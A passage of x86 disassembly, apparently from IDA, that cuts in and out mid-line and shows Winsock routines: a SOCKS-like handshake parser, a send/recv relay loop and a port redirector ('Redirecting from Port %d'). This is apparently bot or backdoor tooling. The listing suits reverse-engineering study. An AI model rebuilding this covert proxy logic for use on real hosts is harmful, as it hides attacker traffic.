ebx push edi nop call near ptr 71AB3E00h test eax, eax jnz short loc_42A782 loc_42A709: ; CODE XREF: sub_42A5F0+174j lea eax, [esp+52Ch+var_50C] lea ecx, [esp+52Ch+var_504] push eax push 0 push 0 push ecx push 1 mov [esp+540h+var_500], 0FFFFFFFFh mov [esp+540h+var_504], 1 nop call near ptr 71AB2DC0h push 0 push 0 push 0 lea edx, [esp+538h+var_400] push 3FFh push edx push edi nop call near ptr 71AB2D0Fh push 10h mov esi, eax push ebx push 0 lea eax, [esp+538h+var_400] push esi push eax push 0FFFFFFFFh call ebp ; sendto test esi, esi jbe short loc_42A766 cmp esi, 0FFFFFFFFh jnz short loc_42A709 loc_42A766: ; CODE XREF: sub_42A5F0+16Fj mov esi, dword_50FC88 push edi call esi ; closesocket push 0FFFFFFFFh call esi ; closesocket pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 51Ch retn 0Ch ; --------------------------------------------------------------------------- loc_42A782: ; CODE XREF: sub_42A5F0+35j ; sub_42A5F0+86j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 51Ch retn 0Ch sub_42A5F0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A810 proc near ; CODE XREF: sub_42B2D0:loc_4013A2j var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_81C = byte ptr -81Ch var_81A = word ptr -81Ah var_818 = dword ptr -818h var_80C = dword ptr -80Ch var_808 = dword ptr -808h var_7E8 = dword ptr -7E8h var_7E4 = dword ptr -7E4h var_708 = byte ptr -708h var_707 = byte ptr -707h var_705 = dword ptr -705h var_604 = word ptr -604h var_600 = dword ptr -600h var_5F0 = byte ptr -5F0h var_200 = byte ptr -200h var_100 = byte ptr -100h arg_0 = dword ptr 4 sub esp, 82Ch push ebx push ebp push esi mov esi, [esp+838h+arg_0] cmp esi, 0FFFFFFFFh push edi mov ebp, ecx mov [esp+83Ch+var_828], 0 mov [esp+83Ch+var_82C], 0Bh mov [esp+83Ch+var_808], esi mov [esp+83Ch+var_80C], 1 jz loc_42AACA mov eax, [ebp-8] mov ecx, [eax+4] mov ax, [ecx+ebp-2] cmp ax, 1 jnz loc_42ABE6 mov edi, dword_50FC80 lea edx, [esp+83Ch+var_82C] push edx push 0 lea eax, [esp+844h+var_80C] push 0 push eax push 1 call edi ; select test eax, eax jle loc_42AC73 lea ecx, [esp+83Ch+var_80C] push ecx push esi call sub_436F60 ; --------------------------------------------------------------------------- dd 840FC085h, 3E3h, 16A066Ah, 0E890026Ah, 716892F5h, 89FFF883h dd 0F1C2444h, 22184h, 901D8B00h, 6A0050FCh, 24948D00h dd 240h, 5652026Ah, 0BC80D3FFh, 23C24h, 850F0500h, 1FEh dd 2484BE0Fh, 23Dh, 948DC933h, 23C24h, 248C8900h, 23Ch dd 40248C89h, 66000002h, 44248C89h, 51000002h, 88565250h dd 256248Ch, 0D3FF0000h, 26A006Ah, 44533468h, 0E8905600h dd 7168997Ah, 1024448Dh, 30244C8Dh, 6A006A50h, 16A5100h dd 282444C7h, 0 ; --------------------------------------------------------------------------- mov [esp+82Ch+var_808], 7 mov [esp+82Ch+var_7E4], esi mov [esp+82Ch+var_7E8], 1 call edi ; select xor eax, eax lea edx, [esp+82Ch+var_5F0] push eax mov ecx, 20h lea edi, [esp+830h+var_5F0] push 2 push edx push esi rep stosd call ebx ; socket cmp byte ptr [esp+83Ch+var_600], 1 jnz loc_42AACA movsx eax, byte ptr [esp+83Ch+var_600+1] push 0 lea ecx, [esp+840h+var_200] push eax push ecx push esi call ebx ; socket movsx edx, byte ptr [esp+83Ch+var_600+1] push 0 lea eax, [esp+840h+var_600] push 1 push eax push esi mov [esp+edx+84Ch+var_200], 0 call ebx ; socket movsx ecx, byte ptr [esp+83Ch+var_600] push 0 lea edx, [esp+840h+var_100] push ecx push edx push esi call ebx ; socket movsx eax, byte ptr [esp+83Ch+var_600] mov ecx, [ebp-8] mov [esp+eax+83Ch+var_100], 0 mov ecx, [ecx+4] add ecx, ebp call sub_4017E4 mov edi, eax lea ecx, [esp+83Ch+var_200] loc_42A9DB: ; CODE XREF: sub_42A810+1E9j mov dl, [ecx] mov al, dl cmp dl, [edi] jnz short loc_42A9FF test al, al jz short loc_42A9FB mov dl, [ecx+1] mov al, dl cmp dl, [edi+1] jnz short loc_42A9FF add ecx, 2 add edi, 2 test al, al jnz short loc_42A9DB loc_42A9FB: ; CODE XREF: sub_42A810+1D5j xor eax, eax jmp short loc_42AA04 ; --------------------------------------------------------------------------- loc_42A9FF: ; CODE XREF: sub_42A810+1D1j ; sub_42A810+1DFj sbb eax, eax sbb eax, 0FFFFFFFFh loc_42AA04: ; CODE XREF: sub_42A810+1EDj test eax, eax jz short loc_42AA61 mov eax, [ebp-8] mov ecx, [eax+4] lea ecx, [ecx+ebp+15h] call sub_4017E4 lea edi, [esp+83Ch+var_100] loc_42AA1E: ; CODE XREF: sub_42A810+22Cj mov dl, [edi] mov cl, dl cmp dl, [eax] jnz short loc_42AA42 test cl, cl jz short loc_42AA3E mov dl, [edi+1] mov cl, dl cmp dl, [eax+1] jnz short loc_42AA42 add edi, 2 add eax, 2 test cl, cl jnz short loc_42AA1E loc_42AA3E: ; CODE XREF: sub_42A810+218j xor eax, eax jmp short loc_42AA47 ; --------------------------------------------------------------------------- loc_42AA42: ; CODE XREF: sub_42A810+214j ; sub_42A810+222j sbb eax, eax sbb eax, 0FFFFFFFFh loc_42AA47: ; CODE XREF: sub_42A810+230j test eax, eax jz short loc_42AA61 push esi nop call near ptr 71AB9639h pop edi pop esi pop ebp xor al, al pop ebx add esp, 82Ch retn 4 ; --------------------------------------------------------------------------- loc_42AA61: ; CODE XREF: sub_42A810+1F6j ; sub_42A810+239j mov edi, dword_50FC8C push 0 push 2 push offset dword_445330 push esi call edi ; send lea eax, [esp+83Ch+var_82C] lea ecx, [esp+83Ch+var_80C] push eax push 0 push 0 push ecx push 1 mov [esp+850h+var_808], esi mov [esp+850h+var_80C], 1 call near ptr 71AB2DC0h nop lea edx, [esp+83Ch+var_80C] push edx push esi call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax jz short loc_42AACA push 0 lea eax, [esp+840h+var_708] push 4 push eax push esi call ebx ; socket mov eax, [esp+83Ch+var_705] and eax, 0FFh dec eax jz short loc_42AB31 sub eax, 2 jz short loc_42AAD9 dec eax loc_42AAC8: ; CODE XREF: sub_42A810+31Fj jnz short loc_42AB40 loc_42AACA: ; CODE XREF: sub_42A810+32j ; sub_42A810+154j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 82Ch retn 4 ; --------------------------------------------------------------------------- loc_42AAD9: ; CODE XREF: sub_42A810+2B5j push 0 lea ecx, [esp+840h+var_600] push 1 push ecx push esi call ebx ; socket movsx edx, byte ptr [esp+83Ch+var_600] push 0 lea eax, [esp+840h+var_705+1] push edx push eax push esi call ebx ; socket movsx ecx, byte ptr [esp+83Ch+var_600] lea edx, [esp+83Ch+var_600] lea eax, [esp+83Ch+var_705+1] mov byte ptr [esp+ecx+83Ch+var_705+1], 0 mov ecx, [ebp-8] push edx push eax mov edx, [ecx+4] lea ecx, [edx+ebp-8] call sub_40174E test al, al jmp short loc_42AAC8 ; --------------------------------------------------------------------------- loc_42AB31: ; CODE XREF: sub_42A810+2B0j push 0 lea eax, [esp+840h+var_600] push 4 push eax push esi call ebx ; socket loc_42AB40: ; CODE XREF: sub_42A810:loc_42AAC8j push 0 lea ecx, [esp+840h+var_604] push 2 push ecx push esi call ebx ; socket cmp [esp+83Ch+var_707], 1 jnz loc_42AACA mov ebx, [esp+83Ch+var_820] mov dx, [esp+83Ch+var_604] mov eax, [esp+83Ch+var_600] lea ecx, [esp+83Ch+var_81C] push 10h push ecx push ebx mov word ptr [esp+848h+var_81C], 2 mov [esp+848h+var_81A], dx mov [esp+848h+var_818], eax call near ptr 71AB406Ah nop test eax, eax jnz loc_42AACA push eax push 4 push offset dword_445328 push esi call edi ; send push 0 lea edx, [esp+840h+var_600] push 4 push edx push esi call edi ; send push 0 lea eax, [esp+840h+var_604] push 2 push eax push esi call edi ; send mov ecx, [ebp-8] push ebx push esi mov edx, [ecx+4] lea ecx, [edx+ebp-8] call sub_4020C2 push ebx nop call near ptr 71AB9639h pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 82Ch retn 4 ; --------------------------------------------------------------------------- loc_42ABE6: ; CODE XREF: sub_42A810+47j cmp ax, 2 jnz loc_42AC73 mov ebx, dword_50FC80 loc_42ABF6: ; CODE XREF: sub_42A810+461j lea eax, [esp+83Ch+var_82C] lea ecx, [esp+83Ch+var_80C] push eax push 0 push 0 push ecx push 1 mov [esp+850h+var_808], esi mov [esp+850h+var_80C], 1 call ebx ; select lea edx, [esp+83Ch+var_824] lea eax, [esp+83Ch+var_81C] push edx push eax push 0 lea ecx, [esp+848h+var_600] push 3FFh push ecx push esi mov [esp+854h+var_824], 10h nop call near ptr 71AB2D0Fh mov ecx, [ebp-8] mov edi, eax lea edx, [esp+83Ch+var_600] push edi push edx mov edx, [ecx+4] lea eax, [esp+844h+var_81C] push eax lea ecx, [edx+ebp-8] call sub_401C1C test edi, edi jz short loc_42AC73 cmp edi, 0FFFFFFFFh jz short loc_42AC73 lea eax, [esp+83Ch+var_80C] push eax push esi call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_42ABF6 loc_42AC73: ; CODE XREF: sub_42A810+67j ; sub_42A810+3DAj ... pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 82Ch retn 4 sub_42A810 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 120h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42ADB0 proc near ; CODE XREF: sub_401F19j var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch sub esp, 10h push esi mov esi, ecx mov eax, [esi+32h] test eax, eax jz short loc_42ADC4 xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42ADC4: ; CODE XREF: sub_42ADB0+Bj xor eax, eax mov ax, [esi+6] dec eax jz short loc_42ADD6 dec eax jz short loc_42ADF8 mov word ptr [esi+6], 1 loc_42ADD6: ; CODE XREF: sub_42ADB0+1Bj mov eax, 1 mov ecx, 6 loc_42ADE0: ; CODE XREF: sub_42ADB0+52j push ecx push eax push 2 nop call near ptr 71AB3B91h test eax, eax mov [esi+32h], eax jnz short loc_42AE04 xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42ADF8: ; CODE XREF: sub_42ADB0+1Ej mov eax, 2 mov ecx, 11h jmp short loc_42ADE0 ; --------------------------------------------------------------------------- loc_42AE04: ; CODE XREF: sub_42ADB0+3Fj mov ax, [esi+4] mov [esp+14h+var_10], 2 push eax mov [esp+18h+var_C], 0 nop call near ptr 71AB2B66h mov edx, [esi+32h] lea ecx, [esp+14h+var_10] push 10h push ecx push edx mov [esp+20h+var_E], ax call near ptr 71AB3E00h nop test eax, eax jz short loc_42AE49 mov eax, [esi+32h] push eax call near ptr 71AB9639h nop xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42AE49: ; CODE XREF: sub_42ADB0+86j cmp word ptr [esi+6], 1 jnz short loc_42AE71 mov ecx, [esi+32h] push 3 push ecx nop call near ptr 71AB88D3h test eax, eax jz short loc_42AE71 mov edx, [esi+32h] push edx call near ptr 71AB9639h nop xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42AE71: ; CODE XREF: sub_42ADB0+9Ej ; sub_42ADB0+AEj mov al, 1 pop esi add esp, 10h retn sub_42ADB0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42AEC0 proc near ; CODE XREF: sub_401DBBj var_24 = byte ptr -24h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_42AEC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov edi, ecx mov [ebp+var_10], esp mov ax, [edi+6] cmp ax, 1 jnz short loc_42AF5A mov eax, [edi+32h] mov [ebp+var_14], 10h test eax, eax jz short loc_42AF41 mov ebx, dword_50FC84 lea ecx, [ebp+var_14] lea edx, [ebp+var_24] push ecx push edx push eax call ebx ; accept mov esi, eax test esi, esi jnz short loc_42AF26 loc_42AF12: ; CODE XREF: sub_42AEC0+64j mov edx, [edi+32h] lea eax, [ebp+var_14] lea ecx, [ebp+var_24] push eax push ecx push edx call ebx ; accept mov esi, eax test esi, esi jz short loc_42AF12 loc_42AF26: ; CODE XREF: sub_42AEC0+50j mov eax, [edi] push esi mov ecx, edi mov [ebp+var_4], 0 call dword ptr [eax] push esi mov bl, al nop call near ptr 71AB9639h test bl, bl jnz short loc_42AF7A loc_42AF41: ; CODE XREF: sub_42AEC0+39j ; sub_42AEC0+9Ej ... xor al, al mov ecx, [ebp+var_C] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_42AF54: ; DATA XREF: ___:00441F74o mov eax, offset loc_42AF41 retn ; --------------------------------------------------------------------------- loc_42AF5A: ; CODE XREF: sub_42AEC0+2Bj cmp ax, 2 jnz short loc_42AF41 mov eax, [edi+32h] mov edx, [edi] push eax mov ecx, edi call dword ptr [edx] mov ecx, [edi+32h] mov bl, al push ecx call near ptr 71AB9639h nop test bl, bl jz short loc_42AF41 loc_42AF7A: ; CODE XREF: sub_42AEC0+7Fj mov ecx, [ebp+var_C] pop edi pop esi mov al, 1 mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn sub_42AEC0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_42AFD0: ; CODE XREF: ___:00401F78j push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_43BB90 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ebx push esi mov esi, [ebp+8] push edi mov [ebp-10h], esp mov dword ptr [ebp-4], 0 mov eax, [esi] mov ecx, [eax+4] mov eax, [ecx+esi+32h] add ecx, esi push eax mov edx, [ecx] call dword ptr [edx] mov ecx, [esi] mov edx, [ecx+4] mov eax, [edx+esi+32h] push eax call near ptr 71AB9639h nop loc_42B019: ; DATA XREF: ___:loc_42B031o mov ecx, [ebp-0Ch] pop edi pop esi mov eax, 1 mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- loc_42B031: ; DATA XREF: ___:00441FD4o mov eax, offset loc_42B019 retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B060 proc near ; CODE XREF: sub_401C17j var_19C = byte ptr -19Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_4 = byte ptr 8 arg_1C = byte ptr 20h push 0FFFFFFFFh push offset SEH_42B060 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 194h lea eax, [esp+1A0h+var_19C] mov [esp+1A0h+var_4], 1 push eax push 2 call near ptr 71AB664Dh nop test eax, eax jz short loc_42B0D7 loc_42B097: ; CODE XREF: ___:0042B166j lea ecx, [esp+1A0h+arg_4] mov byte ptr [esp+1A0h+var_4], 0 call sub_401226 lea ecx, [esp+1A0h+arg_1C] mov [esp+1A0h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1A0h+var_C] mov large fs:0, ecx add esp, 1A0h retn ; --------------------------------------------------------------------------- loc_42B0D7: ; CODE XREF: sub_42B060+35j push 42h call sub_4367FA sub_42B060 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+0], eax test eax, eax mov byte ptr [esp+19Ch], 2 jz short loc_42B0FC push 1 mov ecx, eax call sub_4014E7 jmp short loc_42B0FE ; --------------------------------------------------------------------------- loc_42B0FC: ; CODE XREF: ___:0042B0EFj xor eax, eax loc_42B0FE: ; CODE XREF: ___:0042B0FAj mov dword_50E3C8, eax mov ecx, [eax] mov byte ptr [esp+19Ch], 1 mov edx, [ecx+4] mov cx, [esp+1A4h] mov [edx+eax+4], cx mov eax, dword_50E3C8 lea edx, [esp+1A8h] mov ecx, [eax] push edx mov edx, [ecx+4] lea ecx, [edx+eax+8] call sub_40200E lea eax, [esp+1C0h] push eax mov eax, dword_50E3C8 mov ecx, [eax] mov edx, [ecx+4] lea ecx, [edx+eax+1Dh] call sub_40200E mov eax, dword_50E3C8 mov ecx, [eax] mov ecx, [ecx+4] add ecx, eax call sub_401F19 test al, al jz loc_42B097 loc_42B16C: ; CODE XREF: ___:0042B17Dj mov eax, dword_50E3C8 mov edx, [eax] mov ecx, [edx+4] add ecx, eax call sub_401DBB jmp short loc_42B16C ; --------------------------------------------------------------------------- db 90h db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B1D0 proc near ; CODE XREF: sub_4014E7j var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi test eax, eax mov esi, ecx mov [esp+8+var_4], 0 jz short loc_42B1F2 lea ecx, [esi+8] mov dword ptr [esi], offset dword_43E190 call sub_4014AB loc_42B1F2: ; CODE XREF: sub_42B1D0+12j mov eax, [esi] mov ecx, [eax+4] mov dword ptr [ecx+esi], offset off_43E18C mov edx, [esi] mov eax, [edx+4] lea ecx, [eax-8] mov [eax+esi-4], ecx mov eax, esi pop esi pop ecx retn 4 sub_42B1D0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B240 proc near ; CODE XREF: sub_4014ABj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42B240 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+8] call sub_401424 lea ecx, [esi+1Dh] mov [esp+14h+var_4], 0 call sub_401424 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E19C mov dword ptr [esi+32h], 0 mov word ptr [esi+6], 1 mov word ptr [esi+4], 0 mov dword ptr [esi+36h], 1000h mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42B240 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B2D0 proc near ; CODE XREF: sub_4020D1j ; FUNCTION CHUNK AT 004013A2 SIZE 00000005 BYTES sub ecx, [ecx-4] jmp loc_4013A2 sub_42B2D0 endp ; --------------------------------------------------------------------------- align 10h loc_42B2E0: ; CODE XREF: ___:00401352j push 0FFFFFFFFh push offset loc_43BC08 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+4], esi call sub_401F82 push offset off_443D70 lea ecx, [esi+11h] mov dword ptr [esp+14h], 0 mov dword ptr [esi], offset off_43E1A0 call sub_4015D7 mov ecx, [esp+8] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B350 proc near ; CODE XREF: ___:00401398j sub_401F41j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4011BD test [esp+4+arg_0], 1 jz short loc_42B368 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_42B368: ; CODE XREF: sub_42B350+Dj mov eax, esi pop esi retn 4 sub_42B350 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42B380 proc near ; CODE XREF: sub_4011BDj jmp sub_40179E sub_42B380 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B3A0 proc near ; CODE XREF: sub_40134Dj var_10 = byte ptr -10h mov eax, 1000h call sub_436840 push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+99h] mov cl, [eax+11Ch] test cl, cl jz short loc_42B42C mov ebx, dword_50FC90 mov ebp, dword_50FC8C loc_42B3CC: ; CODE XREF: sub_42B3A0+8Aj mov edx, [esi+9Dh] mov ecx, 400h xor eax, eax lea edi, [esp+10h] rep stosd push eax mov eax, [edx+0A5h] lea ecx, [esp+14h] push 1000h push ecx push eax call ebx ; recv test eax, eax jz short loc_42B42C cmp eax, 0FFFFFFFFh jz short loc_42B42C mov edx, [esi+9Dh] push 0 push eax lea ecx, [esp+28h+var_10] mov eax, [edx+0A1h] push ecx push eax call ebp ; send test eax, eax jz short loc_42B42C cmp eax, 0FFFFFFFFh jz short loc_42B42C mov ecx, [esi+99h] mov al, [ecx+11Ch] test al, al jnz short loc_42B3CC loc_42B42C: ; CODE XREF: sub_42B3A0+1Ej ; sub_42B3A0+55j ... mov edx, [esi+9Dh] pop edi pop esi pop ebp mov eax, [edx+0A1h] pop ebx cmp eax, 0FFFFFFFFh jz short loc_42B448 push eax nop call near ptr 71AB9639h loc_42B448: ; CODE XREF: sub_42B3A0+9Fj add esp, 1000h retn sub_42B3A0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B480 proc near ; CODE XREF: sub_401663j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42B480 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F82 push offset off_443D70 lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E1B0 call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42B480 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B4F0 proc near ; CODE XREF: ___:004013A7j sub_401B22j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401217 test [esp+4+arg_0], 1 jz short loc_42B508 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_42B508: ; CODE XREF: sub_42B4F0+Dj mov eax, esi pop esi retn 4 sub_42B4F0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42B520 proc near ; CODE XREF: sub_401217j jmp sub_40179E sub_42B520 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B540 proc near ; CODE XREF: sub_40152Dj var_50 = byte ptr -50h var_40 = byte ptr -40h var_30 = byte ptr -30h var_28 = dword ptr -28h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_C = byte ptr -0Ch var_A = word ptr -0Ah var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, 1014h call sub_436840 push ebx push ebp push esi mov esi, ecx push edi or edi, 0FFFFFFFFh mov eax, [esi+99h] mov [esi+0A5h], edi mov cl, [eax+11Ch] test cl, cl jz loc_42B70A mov ebx, 1 push 6 push ebx push 2 nop call near ptr 71AB3B91h cmp eax, edi mov [esi+0A5h], eax jnz short loc_42B598 mov [esi+0A5h], edi pop edi pop esi pop ebp pop ebx add esp, 1014h retn ; --------------------------------------------------------------------------- loc_42B598: ; CODE XREF: sub_42B540+45j mov dx, [esi+3Fh] xor ecx, ecx mov [esp+1Ch+var_8], ecx push edx mov [esp+20h+var_4], ecx mov word ptr [esp+20h+var_8], 2 mov [esp+20h], ecx mov [esp+20h+arg_0], ecx nop call near ptr 71AB2B66h lea ecx, [esi+43h] mov [esp+20h+var_A], ax call sub_4017E4 push eax call sub_40187F add esp, 4 cmp eax, edi mov [esp+20h+var_8], eax jnz short loc_42B5F2 mov eax, [esi+0A5h] push eax nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 1014h retn ; --------------------------------------------------------------------------- loc_42B5F2: ; CODE XREF: sub_42B540+98j mov edx, [esi+0A5h] lea ecx, [esp+20h+var_C] push 10h push ecx push edx call near ptr 71AB406Ah nop cmp eax, edi jnz short loc_42B622 mov eax, [esi+0A5h] push eax call near ptr 71AB9639h nop pop edi pop esi pop ebp pop ebx add esp, 1014h retn ; --------------------------------------------------------------------------- loc_42B622: ; CODE XREF: sub_42B540+C8j mov edx, [esi+0A1h] mov edi, dword_50FC50 lea ecx, [esp+2Ch+var_1C] mov [esp+2Ch+var_1C], ebx push ecx push 8004667Eh push edx call edi ; ioctlsocket mov ecx, [esi+0A5h] lea eax, [esp+38h+var_28] push eax push 8004667Eh push ecx mov [esp+44h+var_28], ebx call edi ; ioctlsocket mov edx, [esi+99h] mov al, [edx+11Ch] test al, al jz loc_42B70A mov ebx, dword_50FC90 mov ebp, dword_50FC8C loc_42B676: ; CODE XREF: sub_42B540+1BAj mov ecx, [esi+0A5h] push 0 lea eax, [esp+48h+var_20] push 1000h push eax push ecx call ebx ; recv mov edi, eax test edi, edi jz short loc_42B70A jge short loc_42B6A0 call near ptr 71AB94DCh nop cmp eax, 2733h jnz short loc_42B702 loc_42B6A0: ; CODE XREF: sub_42B540+151j mov eax, [esi+0A1h] push 0 lea edx, [esp+58h+var_30] push edi push edx push eax call ebp ; send mov edx, [esi+0A1h] push 0 lea ecx, [esp+68h+var_40] push 1000h push ecx push edx call ebx ; recv mov edi, eax test edi, edi jz short loc_42B70A jge short loc_42B6DB nop call near ptr 71AB94DCh cmp eax, 2733h jnz short loc_42B702 loc_42B6DB: ; CODE XREF: sub_42B540+18Cj mov ecx, [esi+0A5h] push 0 lea eax, [esp+78h+var_50] push edi push eax push ecx call ebp ; send mov edx, [esi+99h] mov al, [edx+11Ch] test al, al jnz loc_42B676 jmp short loc_42B70A ; --------------------------------------------------------------------------- loc_42B702: ; CODE XREF: sub_42B540+15Ej ; sub_42B540+199j push 0Ah nop call near ptr 29B0000h loc_42B70A: ; CODE XREF: sub_42B540+27j ; sub_42B540+124j ... mov eax, [esi+0A1h] mov edi, dword_50FC88 cmp eax, 0FFFFFFFFh jz short loc_42B71E push eax call edi ; closesocket loc_42B71E: ; CODE XREF: sub_42B540+1D9j mov esi, [esi+0A5h] cmp esi, 0FFFFFFFFh jz short loc_42B72C push esi call edi ; closesocket loc_42B72C: ; CODE XREF: sub_42B540+1E7j pop edi pop esi pop ebp pop ebx add esp, 1014h retn sub_42B540 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 9 dup(90h) db 80h dup(0CCh) db 6Ah ; j db 0FFh db 68h ; h db 48h ; H db 0BCh ; ¼ db 43h ; C db 0 db 64h ; d db 0A1h ; ¡ db 0 db 0 db 0 db 0 db 50h ; P db 64h ; d db 89h ; ‰ db 25h ; % db 0 db 0 db 0 db 0 db 51h ; Q db 56h ; V db 8Bh ; ‹ db 0F1h ; ñ db 89h ; ‰ db 74h ; t db 24h ; $ db 4 db 0E8h ; è db 0A0h ; db 67h ; g db 0FDh ; ý db 0FFh db 68h ; h db 70h ; p db 3Dh ; = db 44h ; D db 0 db 8Dh ; db 4Eh ; N db 11h db 0C7h ; Ç db 44h ; D db 24h ; $ db 14h db 0 db 0 db 0 db 0 db 0C7h ; Ç db 6 db 0C0h ; À db 0E1h ; á db 43h ; C db 0 db 0E8h ; è db 0DAh ; Ú db 5Dh ; ] db 0FDh ; ý db 0FFh db 8Bh ; ‹ db 4Ch ; L db 24h ; $ db 8 db 8Bh ; ‹ db 0C6h ; Æ db 5Eh ; ^ db 64h ; d db 89h ; ‰ db 0Dh db 0 db 0 db 0 db 0 db 83h ; ƒ db 0C4h ; Ä db 10h db 0C3h ; Ã db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42B830: ; CODE XREF: ___:loc_4015F0j ; ___:00401FAAj push esi mov esi, ecx call sub_401B8B test byte ptr [esp+8], 1 jz short loc_42B848 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_42B848: ; CODE XREF: ___:0042B83Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42B860 proc near ; CODE XREF: sub_401B8Bj jmp sub_40179E sub_42B860 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B880 proc near ; CODE XREF: sub_4019E2j var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_42B880 push eax mov large fs:0, esp sub esp, 28h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+3Fh] lea ebx, [esi+43h] push eax mov ecx, ebx lea edi, [esi+11h] lea ebp, [esi+26h] call sub_4017E4 mov ecx, [esi+3Bh] push eax push ecx mov ecx, edi call sub_4017E4 push eax push offset aSRedirectingFr ; "[%s] Redirecting from Port %d to '%s:%d"... mov ecx, ebp call sub_4014D3 mov dl, [esi+98h] push eax mov al, [esi+97h] push edx push eax push offset byte_4D60A5 call sub_401848 add esp, 24h push 6 push 1 push 2 nop call near ptr 71AB3B91h cmp eax, 0FFFFFFFFh mov [esi+9Dh], eax jz loc_42BAB8 mov dx, [esi+3Bh] xor ecx, ecx mov 